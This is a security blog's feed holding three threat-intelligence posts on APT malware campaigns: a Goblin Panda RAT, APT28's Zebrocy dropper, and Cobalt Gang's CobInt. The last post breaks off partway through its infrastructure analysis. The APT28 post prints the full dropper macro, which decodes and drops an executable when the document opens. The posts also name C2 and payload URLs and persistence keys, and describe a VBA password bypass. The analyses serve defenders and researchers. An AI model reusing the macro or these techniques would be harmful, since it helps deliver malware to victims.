<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2024-07-02T18:00:19+00:00</updated><id>/feed.xml</id><title type="html">MeltX0R Security</title><subtitle>Threat Intelligence, Research, and Analysis.</subtitle><entry><title type="html">02/12/2020 - Goblin Panda APT: Recent infrastructure and RAT analysis</title><link href="/tech/2020/02/12/goblin-panda-apt.html" rel="alternate" type="text/html" title="02/12/2020 - Goblin Panda APT: Recent infrastructure and RAT analysis" /><published>2020-02-12T09:00:00+00:00</published><updated>2020-02-12T09:00:00+00:00</updated><id>/tech/2020/02/12/goblin-panda-apt</id><content type="html" xml:base="/tech/2020/02/12/goblin-panda-apt.html"><![CDATA[<center><img src="/assets/images/goblinPandaBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>Goblin Panda (also known as Hellsing, Cycledek, and likely other names due to non-standardized naming conventions in security) is a group has been active for the better part of the last decade, and has historically had information theft and espionage related motives that align with Chinese interests. Their targets have primarily been defense, energy, and government organizations located in South/Southeast Asia, with emphasis on Vietnamese targeting. Within this analysis I review artifacts that exhibit behavior consistent with past Newcore RAT samples, which have been attributed to the GoblinPanda APT group.</p>

<p> </p>

<h2 id="analysis">Analysis</h2>

<p>While reviewing suspected dropper files, I came across an interesting document titled <em>“Bao Cao Su Kien Dong Tam.doc”</em>, which translates to <em>“Report the Dong Tam event”</em> in Vietnamese. This document was created on 01-10-2020 at 08:31:00, and purported to contain information about a recent controversy regarding land disputes between the Vietnamese government and the locals of Dong Tam (a rural commune located in Hanoi, Vietnam). While this is not the first time tensions were high between Dong Tam locals and the Vietnamese government, the timing of the most recent events and the document creation date is quite suspect, with the most recent dispute occurring on 01-09-2020 - the day prior to the document creation.</p>

<p> </p>

<center><img src="/assets/images/GOBLINPANDA_APT_DONG_TAM_NEWS.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Recent news headlines about Dong Tam village (<a href="https://www.bbc.com/news/world-asia-51105808">source</a>)</span></p>

<p> </p>

<p>Upon opening the document, <em>CVE-2017-11882</em> is silently executed in the background. <em>CVE-2017-11882</em>, which was patched by Microsoft in November of 2017, is a memory corruption vulnerability which grants the attacker RCE (remote code execution) upon the user opening a specially crafted file (see <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882">here</a>  for the Microsoft advisory).</p>

<p> </p>

<center><img src="/assets/images/GOBLINPANDA_APT_LURE.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Suspected Goblin Panda APT Lure “Bao Cao Su Kien Dong Tam.doc”</span></p>

<p> </p>

<p>Following exploitation, an embedded object “wd32PrvSE.wmf” is dropped to the user’s local temp directory, and subsequently executed. Wd32PrvSE.wmf then drops three files to the user’s local temp directory - <em>QcConsole.exe</em>, <em>QcLite.dll</em>, and <em>stdole.tlb</em>. While <em>QcConsole.exe</em> appears to be a valid and signed file belonging to <em>McAfee, Inc.</em> the other two dropped files (<em>QcLite.dll</em> and <em>stdole.tlb</em>) have less than benevolent intentions.</p>

<p><em>It should be noted that, at the time of this writing, the document, wd32PrvSE.wmf, QcLite.dll, and stdole.tlb have very low or nonexistent detection rates of only 15/58 (document), 0/56 (WMF), 3/68 (DLL), and 0/56 (TLB) on VirusTotal, respectively.</em></p>

<p><em>QcConsole.exe</em> is then executed, and loads <em>QcLite.dll</em>. <em>QcLite.dll</em> will then establish persistence via an autorun registry key named <em>“Windows HD Audio Manager”</em>, drop a file titled <em>“desktop.ini”</em> to the <em>C:\ProgramData\</em> directory containing obfuscated data, and load the contents of <em>stdole.tlb</em> to memory, and decrypt it, resulting in executable data.</p>

<p><em>Dllhst3g.exe</em>, a legitimate Windows binary, is then started in a suspended state, injected with the executable data extracted from <em>stdole.tlb</em>, and is subsequently resumed. The compromised <em>dllhst3g.exe</em> then decodes the contents of the previously dropped <em>“desktop.ini”</em> file, which directs it to the location of <em>QcConsol.exe</em>, and <em>QcConsol.exe</em> is executed for a second time.</p>

<p> </p>

<center><img src="/assets/images/GOBLINPANDA_APT_EXECUTION_GRAPH.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Execution graph</span></p>

<p> </p>

<p>Command &amp; Control communications are then initiated via the secondary <em>QcConsol.exe</em> process to the URLs <em>“hxxp://club[.]baclieuvn[.]com:8080/link?url=maOVmKGmMDU1&amp;enpl=OXco&amp;encd=XARIZTE=”</em> and <em>“hxxp://club[.]baclieuvn[.]com/link?url=maOVmKGmMDU1&amp;enpl=OXco&amp;encd=XARIZTE=”</em>. While this domain currently resolves to the Singapore IP Address <em>103.253.25[.]15</em>, none of the C2 requests received a response. This may be due to the infrastructure being burnt or specific geolocation requirements.</p>

<p> </p>

<center><img src="/assets/images/GOBLINPANDA_APT_NEWCORERAT_C2_PCAP.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Packet capture of suspected Newcore RAT C2 </span></p>

<p> </p>

<p>Although I was unable to obtain additional C2 communications, the activity observed in relation to the dropped artifacts is very reminiscent of Newcore Remote Access Trojan. Furthermore, the targeted nature of the weaponized document, in addition to the apparent targeting of Vietnamese individuals, is quite suspect. While this isn’t conclusive evidence that Goblin Panda is responsible for this sample, the similarities between it and other confirmed Newcore RAT samples, in addition to the fact that Vietnam has historically been targeted by Goblin Panda, is telling.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td>Indicator</td>
      <td>Type</td>
      <td>Description</td>
    </tr>
    <tr>
      <td>club.baclieuvn.com</td>
      <td>Domain</td>
      <td>Newcore RAT Command &amp; Control server</td>
    </tr>
    <tr>
      <td>103.253.25.15</td>
      <td>IP Address</td>
      <td>IP Address hosting Newcore RAT Command &amp; Control server “baclieuvn.com”</td>
    </tr>
    <tr>
      <td>/link?url=maOVmKGmMDU1&amp;enpl=OXco&amp;encd=XARIZTE=</td>
      <td>URI</td>
      <td>Newcore RAT Command &amp; Control URI Pattern</td>
    </tr>
    <tr>
      <td>/link?url=maOVmKGmMDU1&amp;enpl=JWAsBQ==&amp;encd=XARIZTE=</td>
      <td>URI</td>
      <td>Newcore RAT Command &amp; Control URI Pattern</td>
    </tr>
    <tr>
      <td>e9ba8cc1119dc4a972d0d363edcc0101</td>
      <td>MD5</td>
      <td>Bao cao su kien Dong Tam.doc - suspected Goblin Panda dropper</td>
    </tr>
    <tr>
      <td>42c1a3a74cec2dc4a1c1a7a10d9d14e4</td>
      <td>MD5</td>
      <td>QcLite.dll</td>
    </tr>
    <tr>
      <td>6d1876c07d176185dc61310b9aa510fe</td>
      <td>MD5</td>
      <td>stdole.tlb</td>
    </tr>
    <tr>
      <td>7edeb624f2fef843ed26f24f3dd01a3f</td>
      <td>MD5</td>
      <td>wd32PrvSE.wmf</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://www.fortinet.com/blog/threat-research/cta-security-playbook–goblin-panda.html</li>
  <li>https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6</li>
  <li>https://app.any.run/tasks/b64134d1-b809-4ff8-bcb0-91c18425c541/</li>
  <li>https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf</li>
  <li>https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/</li>
  <li>https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/</li>
  <li>https://www.bbc.com/news/world-asia-51105808</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">10/24/2019 - APT28: Targeted attacks against mining corporations in Kazakhstan</title><link href="/tech/2019/10/24/apt28.html" rel="alternate" type="text/html" title="10/24/2019 - APT28: Targeted attacks against mining corporations in Kazakhstan" /><published>2019-10-24T07:00:00+00:00</published><updated>2019-10-24T07:00:00+00:00</updated><id>/tech/2019/10/24/apt28</id><content type="html" xml:base="/tech/2019/10/24/apt28.html"><![CDATA[<center><img src="/assets/images/apt28Banner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p><a href="https://attack.mitre.org/groups/G0007/">APT28</a> (also commonly known as FancyBear, STRONTIUM, Sednit, Sofacy, and more) is a threat group that has been attributed to Russia’s Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. The group has been regarded as being active since at least 2004, and is espionage motivated. It’s targets have included the private sector, military, and governments across the world. In this post, I will review a campaign that I believe to have been conducted by APT28.</p>

<p> </p>

<h2 id="analysis">Analysis</h2>

<p>While performing research, I came across an interesting document titled <em>“gorodpavlodar.doc”</em>. This document was an attachment within an equally as interesting email - this email was sent to multiple individuals who, as far as my research indicates, work for a large mining corporation with operations located in Kazakhstan. The email purports to be sent from the “OFFICIAL RESOURCE OF THE CITY OF PAVLODAR”, but is actually sent by the address <em>“pavlodar.news@bk.ru”</em>. Pavlodar is a city in northeastern Kazakhstan and the capital of the Pavlodar Region. The original email and translation are listed below, which prompts the recipient of the email to review the attached document.</p>

<p> </p>

<p><em>ORIGINAL (RUSSIAN):</em></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">From: ОФИЦИАЛЬНЫЙ РЕСУРС ГОРОДА ПАВЛОДАР [pavlodar.news@bk.ru]
Subject: ГРАФИК ПОДКЛЮЧЕНИЯ ВАШЕГО ЖИЛОГО ДОМА К ГОРЯЧЕМУ ВОДОСНАБЖЕНИЮ

На сегодняшний день без горячего водоснабжения остаются 240 многоэтажных жилых домов,

передаёт корреспондент pavlodarnews.kz.

С 13 по 19 мая ТОО «Павлодарские тепловые сети» проводило гидравлические испытания на

инженерных сетях теплоснабжения в северной части города. Было выявлено 84 повреждения, в

связи с чем на сегодняшний день без ГВС остаются 240 многоэтажных жилых домов.

С графиком подключения жилых домов к горячему водоснабжению вы можете ознакомится во

вложении, прикрепленному к письму.

________________________________

ОФИЦИАЛЬНЫЙ ИНТЕРНЕТ-РЕСУРС АКИМАТА ГОРОДА ПАВЛОДАР</code></pre></figure>

<p> </p>

<p><em>TRANSLATION:</em></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">From: OFFICIAL RESOURCE OF PAVLODAR CITY [pavlodar.news@bk.ru]
Subject: SCHEDULE OF CONNECTING YOUR RESIDENTIAL HOUSE TO HOT WATER SUPPLY

To date, 240 multi-storey residential buildings remain without hot water,

reports correspondent pavlodarnews.kz.

From May 13 to 19, Pavlodar Heating Networks LLP conducted hydraulic tests on

heat supply engineering networks in the northern part of the city. 84 injuries were identified, in

In connection with this, 240 multi-storey residential buildings remain without hot water supply.

You can familiarize yourself with the schedule for connecting residential buildings to hot water in

attachment attached to the letter.

________________________________

OFFICIAL INTERNET RESOURCE OF AKIMAT CITY PAVLODAR</code></pre></figure>

<p> </p>

<p>The attached document also contained text written in Russian, which translated roughly to <em>“Schedule of connecting your residential house to hot water supply”</em> and purported to be from the <em>“Official Internet Resource of Akimat City Pavlodar”</em>. The document appeared to be a form for the recipients to fill out with their address, date of water elimination, and reason for lack of hot water. It also prompts the recipient to enable Editing/Content to view the “protected” document.</p>

<p> </p>

<center><img src="/assets/images/APT28_DOC_LURE_10242019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Suspected APT28 Lure “gorodpavlodar.doc”</span></p>

<p> </p>

<p>Opening the Visual Basic console via the developer tab in Word reveals a password protected project that would be run if content were enabled. To bypass this password restriction, I opened the document within a Hex editor and searched for the string “DPB=” which contains the VBA password, and changed it to “DP<em>x</em>=”. Opening the project following this causes Word to throw multiple errors regarding the invalid key (DPx), but allows me to bypass the password restriction. This allows me to view the contents of the project, displayed below, which looks to be a UserForm containing quite a lot of data in two of the input boxes, in addition to some labels.</p>

<p> </p>

<center><img src="/assets/images/APT28_VBAPROJECT_10242019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Suspected APT28 Lure VBA Project</span></p>

<p> </p>

<p>If I extract the embedded macro, I can see that it essentially does two things - create two files (<em>graphic.doc</em> and <em>libssl.exe</em>) from the code embedded within the VBA project, and drops those files in the <em>“C:\Users\[username]\AppData\Roaming"</em> directory.</p>

<p> </p>

<figure class="highlight"><pre><code class="language-visualbasic" data-lang="visualbasic"><span class="k">Private</span> <span class="k">Sub</span> <span class="nf">Document_Open</span><span class="p">()</span>
<span class="k">On</span> <span class="k">Error</span> <span class="k">Resume</span> <span class="k">Next</span>
<span class="k">Dim</span> <span class="nv">ds</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">:</span> <span class="n">ds</span> <span class="o">=</span> <span class="n">Environ</span><span class="p">(</span><span class="s">"APPDATA"</span><span class="p">)</span> <span class="o">&amp;</span> <span class="s">"\graphic.doc"</span>
<span class="k">Dim</span> <span class="nv">dd</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">:</span> <span class="n">dd</span> <span class="o">=</span> <span class="n">Environ</span><span class="p">(</span><span class="s">"APPDATA"</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">tyihkcjfghkvb</span><span class="p">.</span><span class="n">dvxdcxxv</span><span class="p">.</span><span class="n">Caption</span> <span class="o">&amp;</span> <span class="n">tyihkcjfghkvb</span><span class="p">.</span><span class="n">Label1</span><span class="p">.</span><span class="n">Caption</span> <span class="o">&amp;</span> <span class="n">tyihkcjfghkvb</span><span class="p">.</span><span class="n">Label2</span><span class="p">.</span><span class="n">Caption</span>
<span class="n">vbnbnm</span> <span class="n">dd</span><span class="p">,</span> <span class="n">drgvfdhre</span><span class="p">(</span><span class="n">tyihkcjfghkvb</span><span class="p">.</span><span class="n">dxvgfchftbxfh</span><span class="p">.</span><span class="n">Value</span><span class="p">)</span>
<span class="n">vbnbnm</span> <span class="n">ds</span><span class="p">,</span> <span class="n">drgvfdhre</span><span class="p">(</span><span class="n">tyihkcjfghkvb</span><span class="p">.</span><span class="n">Text</span><span class="p">.</span><span class="n">Value</span><span class="p">)</span>
<span class="k">Set</span> <span class="n">qw</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Word.Application"</span><span class="p">)</span>
<span class="n">qw</span><span class="p">.</span><span class="n">Visible</span> <span class="o">=</span> <span class="k">True</span>
<span class="k">Set</span> <span class="n">ww</span> <span class="o">=</span> <span class="n">qw</span><span class="p">.</span><span class="n">Documents</span><span class="p">.</span><span class="n">Open</span><span class="p">(</span><span class="n">ds</span><span class="p">)</span>
<span class="n">Application</span><span class="p">.</span><span class="n">Quit</span> <span class="n">SaveChanges</span><span class="p">:</span><span class="o">=</span><span class="n">wdDoNotSaveChanges</span>
<span class="k">End</span> <span class="k">Sub</span>

<span class="k">Private</span> <span class="k">Function</span> <span class="nf">drgvfdhre</span><span class="p">(</span><span class="n">tyruyt</span><span class="p">)</span>
  <span class="k">Dim</span> <span class="nv">fghfhggjj</span><span class="p">,</span> <span class="n">asddf</span>
  <span class="k">Set</span> <span class="n">fghfhggjj</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"Microsoft.XMLDOM"</span><span class="p">)</span>
  <span class="k">Set</span> <span class="n">asddf</span> <span class="o">=</span> <span class="n">fghfhggjj</span><span class="p">.</span><span class="n">createElement</span><span class="p">(</span><span class="s">"tmp"</span><span class="p">)</span>
  <span class="n">asddf</span><span class="p">.</span><span class="n">dataType</span> <span class="o">=</span> <span class="s">"bin.base64"</span>
  <span class="n">asddf</span><span class="p">.</span><span class="n">Text</span> <span class="o">=</span> <span class="n">tyruyt</span>
  <span class="n">drgvfdhre</span> <span class="o">=</span> <span class="n">asddf</span><span class="p">.</span><span class="n">nodeTypedValue</span>
<span class="k">End</span> <span class="k">Function</span>

<span class="k">Private</span> <span class="k">Sub</span> <span class="nf">vbnbnm</span><span class="p">(</span><span class="n">tgbyh</span><span class="p">,</span> <span class="n">edcrf</span><span class="p">)</span>
  <span class="k">Dim</span> <span class="nv">qsxx</span>
  <span class="k">Set</span> <span class="n">qsxx</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="s">"ADODB.Stream"</span><span class="p">)</span>
  <span class="n">qsxx</span><span class="p">.</span><span class="n">Type</span> <span class="o">=</span> <span class="mi">1</span>
  <span class="n">qsxx</span><span class="p">.</span><span class="n">Open</span>
  <span class="n">qsxx</span><span class="p">.</span><span class="n">Write</span> <span class="n">edcrf</span>
  <span class="n">qsxx</span><span class="p">.</span><span class="n">SaveToFile</span> <span class="n">tgbyh</span><span class="p">,</span> <span class="mi">2</span>
<span class="k">End</span> <span class="k">Sub</span></code></pre></figure>

<p><span style="font-size:small;"> Shown above: Macro within gorodpavlodar.doc  </span></p>

<p> </p>

<p>Following execution of the macro, the original document is deleted and the secondary document <em>“graphic.doc”</em> is opened. This document appears to be a “completed” version of the form contained within the original document, and also contains an embedded macro that executes the aforementioned executable <em>“libssl.exe”</em>.</p>

<p> </p>

<center><img src="/assets/images/APT28_DOC_GRAPHICDOC_10242019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: graphic.doc </span></p>

<p> </p>

<p>Following execution of <em>“libssl.exe”</em>, it will modify the registry to maintain persistence <em>(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)</em>. It will then initiate Command &amp; Control communications to two hard-coded URL’s via HTTP POST requests - <em>www.gorodpavlodar.kz/modules/Contact/Includes/1c.php</em> and <em>www.gorodpavlodar.kz/modules/Contact/Includes/2c.php</em>, along with a hard-coded User-Agent string <em>“Mozilla/5.0 (Windows NT 10.0; Win64; x64)”</em>. The information POST’d includes URL encoded host information - such as a unique ID, drive information, hostname, OS, username, bios, date, process listing, and more. In the past, these POST requests would receive binary data in the server responses, but they are now being met with 404 HTTP responses.</p>

<p> </p>

<center><img src="/assets/images/APT28_ZEBROCY_C2PCAP_10242019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Suspected Zebrocy Implant C2 network capture</span></p>

<p> </p>

<p>While I will leave the in-depth malware analysis to those more adept, the observed activity related to the binary up to this point is very reminiscent of APT28’s “Zebrocy” implant. Furthermore, static analysis of the binary reveals numerous similarities to other documented Zebrocy samples - particularly the one documented <a href="https://www.vkremez.com/2019/01/lets-learn-overanalyzing-one-of-latest.html">here</a> by <em>Vitali Kremez</em>. While this isn’t conclusive evidence that APT28 is responsible for this sample, the similarities between it and other confirmed Zebrocy implants, in addition to the fact that Kazakhstan has historically been targeted by APT28, is quite suspect. Regardless, it was an interesting sample to review and gives insight into potential economic espionage activities.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td>Indicator</td>
      <td>Type</td>
      <td>Description</td>
    </tr>
    <tr>
      <td>27e9247d28598207794424eeb5ea4b1b</td>
      <td>MD5</td>
      <td>libssl.exe - Suspected Zebrocy Implant</td>
    </tr>
    <tr>
      <td>a863c2944581bc734619bf8d6ab1aef8</td>
      <td>MD5</td>
      <td>gorodpavlodar.doc - Suspected Zebrocy dropper document</td>
    </tr>
    <tr>
      <td>57c2b46c7f2ad9aba80e4b6248f9367a</td>
      <td>MD5</td>
      <td>graphic.doc</td>
    </tr>
    <tr>
      <td>/modules/Contact/Includes/1c.php</td>
      <td>URI</td>
      <td>Suspected Zebrocy Implant C2 URI Pattern</td>
    </tr>
    <tr>
      <td>/modules/Contact/Includes/2c.php</td>
      <td>URI</td>
      <td>Suspected Zebrocy Implant C2 URI Pattern</td>
    </tr>
    <tr>
      <td>pavlodar.news@bk.ru</td>
      <td>Email Address</td>
      <td>Email Address used in suspected APT28 campaign</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://www.vkremez.com/2019/01/lets-learn-overanalyzing-one-of-latest.html</li>
  <li>https://attack.mitre.org/groups/G0007/</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">10/15/2019 - Cobalt Gang APT: Recent infrastructure and CobInt/COOLPANTS malware analysis</title><link href="/tech/2019/10/15/cobalt-gang-apt.html" rel="alternate" type="text/html" title="10/15/2019 - Cobalt Gang APT: Recent infrastructure and CobInt/COOLPANTS malware analysis" /><published>2019-10-15T07:00:00+00:00</published><updated>2019-10-15T07:00:00+00:00</updated><id>/tech/2019/10/15/cobalt-gang-apt</id><content type="html" xml:base="/tech/2019/10/15/cobalt-gang-apt.html"><![CDATA[<center><img src="/assets/images/cobaltGangBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>Cobalt Gang (also known as Cobalt Group or Cobalt Spider) is a financially motivated threat group that has largely targeted financial institutions. According to <a href="https://attack.mitre.org/groups/G0080/">MITRE</a> and other security organizations, the group has primarily targeted banks in Eastern Europe, Central Asia, and Southeast Asia. The activity discussed in this analysis relates to the CobInt/COOLPANTS malware, which has been attributed as a tool utilized by Cobalt Gang.</p>

<p> </p>

<h2 id="analysis">Analysis</h2>

<p>While performing research, I came across an interesting document titled <em>“PFD-19-010.doc”</em> being hosted on the URL <em>www.relax-cream.com/wp-content/plugins/Boss/PFD-19-010.doc</em>. This document purported to be from the Visa, and contained material meant to invoke a concern-driven action by the recipient, such as “Payment Fraud Disruption”. The document prompted the recipient to enable Editing/Content to view the “protected” document.</p>

<p> </p>

<center><img src="/assets/images/COBALTGANG_VISA_DOC_LURE_10152019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Visa themed lure used by Cobalt Gang</span></p>

<p> </p>

<p>By enabling Editing/Content, the password-protected macro is able to run - this will drop the file <em>“error_log.vbe”</em> in the user’s local temp directory and execute the script via <em>WScript.exe</em>. While I wasn’t able to decode the script itself, upon execution it would manipulate Windows Certificates by writing a blob to <em>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\</em>. Using the <em>CertUtil</em> utility I was able to decode this blob to readable text, which presented the below information.</p>

<p> </p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Serial Number: 44afb080d6a327ba893039862ef8406b
Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co.
 NotBefore: 9/30/2000 5:12 PM
 NotAfter: 9/30/2021 10:01 AM
Subject: CN=DST Root CA X3, O=Digital Signature Trust Co.
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template:
Cert Hash(sha1): da c9 02 4f 54 d8 f6 df 94 93 5f b1 73 26 38 ca 6a d7 7c 13
----------------  End Nesting Level 1  ----------------
No key provider information
Cannot find the certificate and private key for decryption.</code></pre></figure>

<p> </p>

<p>I am unsure of the significance of this certificate at this time, as it is not utilized by any infrastructure I’ve identified up to this point. Following this, the script would download a payload from the URL <em>“www.huanchacosurf.inti.co.uk/vendor/bin/avatar.hlpv”</em>, store it in the user’s local temp directory, rename it as <em>“Colors.exe”</em>, and execute it. Interestingly this binary was compiled on <em>October 13th 2019 at 17:14:27</em> and purports to be signed by <em>Symantec Corporation</em>, however it fails verification.</p>

<p> </p>

<center><img src="/assets/images/COBALTGANG_PAYLOAD_CERT_10152019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Certificate information of payload purporting to be signed by Symantec</span></p>

<p> </p>

<p>Following execution of <em>“Colors.exe”</em>, Command &amp; Control would then be initiated to <em>hunvenbinusa.info</em> over TCP/443. After initial C2 is established, the data returned is stored in a text file titled <em>“zvdpoaqrvytayoaygk[1].txt”</em> in the following location:
<em>C:\Users[USERNAME]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\zvdpoaqrvytayoaygk[1].txt</em>. This file, while at first appearing to be a benign HTML file based on various HTML tags, in fact contains commands sent by the Command &amp; Control server.</p>

<p> </p>

<center><img src="/assets/images/COBALTGANG_CMD_TXT_FILE_10152019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Contents of zvdpoaqrvytayoaygk[1].txt</span></p>

<p> </p>

<p>At this point in my investigation, I was confident that the payload I was analyzing was CobInt/COOLPANTS (or similar variant) malware used by Cobalt Gang. According to an article released by <a href="https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint">ProofPoint</a> in September 2018, the text file contains encrypted command data - such as commands to load/execute a module, stop polling the C2, execute a function set by a module, or update the C2 polling wait time. To decrypt this data, ProofPoint states that you would need to:</p>

<ol>
  <li>Remove HTML tags</li>
  <li>Convert all text to lowercase</li>
  <li>Remove all characters that are not “a-z”</li>
  <li>Convert the characters into binary data via an unknown decoding algorithm</li>
  <li>XOR decrypt the binary data with the embedded 64-byte XOR key used in C&amp;C host decryption</li>
  <li>Perform a second round of XOR decryption using the following key:
    <ul>
      <li>XOR key length is indicated by the last byte of data</li>
      <li>XOR key is the last “X” bytes of data (excluding length byte), where “X” is the length of the key</li>
    </ul>
  </li>
</ol>

<p> </p>

<p>They also provided a Python script to automate this process, which can be found <a href="https://github.com/EmergingThreats/threatresearch/blob/master/cobint/stage2_decrypt_response.py">here</a> on GitHub.</p>

<p> </p>

<p>I was unable to identify any subsequent commands or modules being loaded throughout my analysis of the payload. With that in mind, I decided to try and identify additional infrastructure being utilized by Cobalt Gang for this campaign, which is where I started to go down a rabbit hole…</p>

<p> </p>

<center><img src="/assets/images/COBALTGANG_VT_GRAPH_10152019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: VirusTotal Graph of investigation</span></p>

<p> </p>

<p>Performing a search on PassiveTotal for the first domain I observed <em>(www.huanchacosurf.inti.co.uk)</em> revealed 34 additional subdomains. Initial research into these subdomains made them appear as if they were business pages in various fields such as law, media, outdoors, and psychology - all of which were located in <em>Trujillo Peru</em>. An additional point of interest is that <em>“inti.co.uk”</em> is very similar to the legitimate <em>“init.co.uk”</em> domain, which belongs to the German based company <em>“INIT Group”</em>.</p>

<p> </p>

<p><span style="font-size:small;"> Shown below: Subdomains for INTI.CO.UK</span></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">ascoyabogados.inti.co.uk
barriosanjose.inti.co.uk
brallec.inti.co.uk
ceramicoshuanchaco.inti.co.uk
easyclubadmin-net.inti.co.uk
ftp.inti.co.uk
huanchacosurf.inti.co.uk
inti.co.uk
ladrilloschanchan.inti.co.uk
mail.inti.co.uk
me.inti.co.uk
moromeinmobiliaria.inti.co.uk
nirvan.inti.co.uk
nirvana.inti.co.uk
psicoaccion.inti.co.uk
renacerfuneraria.inti.co.uk
sbssanjorge.inti.co.uk
screenmediastudio.inti.co.uk
sermedicsac.inti.co.uk
surfcastingtrujillo.inti.co.uk
www.ascoyabogados.inti.co.uk
www.barriosanjose.inti.co.uk
www.brallec.inti.co.uk
www.ceramicoshuanchaco.inti.co.uk
www.easyclubadmin-net.inti.co.uk
www.huanchacosurf.inti.co.uk
www.ladrilloschanchan.inti.co.uk
www.me.inti.co.uk
www.moromeinmobiliaria.inti.co.uk
www.psicoaccion.inti.co.uk
www.renacerfuneraria.inti.co.uk
www.sbssanjorge.inti.co.uk
www.screenmediastudio.inti.co.uk
www.sermedicsac.inti.co.uk
www.surfcastingtrujillo.inti.co.uk</code></pre></figure>

<p> </p>

<p>Reverse DNS searches into the IP address hosting <em>inti.co.uk (173.254.28.36)</em> revealed that there were actually <em>“.com”</em> versions of these domains as well - such as <em>surfcastingtrujillo.com</em> or <em>sermedicsac.com</em>. Reviewing these domains returned some interesting findings - such as some of them having the same favicon, lorem ipsum text, fake reviews, the same addresses, and more. These domains also contained text indicating they were developed by a Peruvian media company “Screen Media Studio”. Research into this media company returns a YouTube channel, a website (<em>screenmediastudio.com</em>), Facebook page, and more, and appeared to be legitimate as a result.</p>

<p> </p>

<p>At this point in my investigation, I was starting to think that these domains were unrelated to the infrastructure I was researching. I then performed a final search on PassiveTotal to see what SSL certificates <em>inti.co.uk</em> used and found four <em>“LetsEncrypt”</em> certificates that were recently used by all the aforementioned domains <em>INCLUDING</em> <em>screenmediastudio.com</em>. At this point in time, I have not seen any subdomain besides <em>“www.huanchacosurf.inti.co.uk”</em> serve malicious artifacts for this campaign, and therefore cannot confirm that the other listed domains are related to or being used by this campaign, but I find the aforementioned similarities highly anomalous, including that all of the <em>inti.co.uk</em> subdomains and seemingly “legitimate” domains share the same LetsEncrypt certificates as a domain serving CobInt/COOLPANTS malware.</p>

<p> </p>

<table>
  <tbody>
    <tr>
      <td>Serial Number</td>
      <td>Issued</td>
      <td>Expires</td>
    </tr>
    <tr>
      <td>220b91fa140101dde6fe1d9102fb19c922458a42</td>
      <td>2019-09-27</td>
      <td>2019-12-26</td>
    </tr>
    <tr>
      <td>b6e1290d270c0bd0573f73d8c022efc176fa9d4a</td>
      <td>2019-09-27</td>
      <td>2019-12-26</td>
    </tr>
    <tr>
      <td>47062ed4b342879f5e6a53cd3826be942a8f0f1d</td>
      <td>2019-09-01</td>
      <td>2019-11-30</td>
    </tr>
    <tr>
      <td>83cd57a38ca395623a4d7481e0305f8f6b645aee</td>
      <td>2019-09-01</td>
      <td>2019-11-30</td>
    </tr>
  </tbody>
</table>

<p><span style="font-size:small;"> Shown above: LetsEncrypt Certificates used by inti.co.uk recently</span></p>

<p> </p>

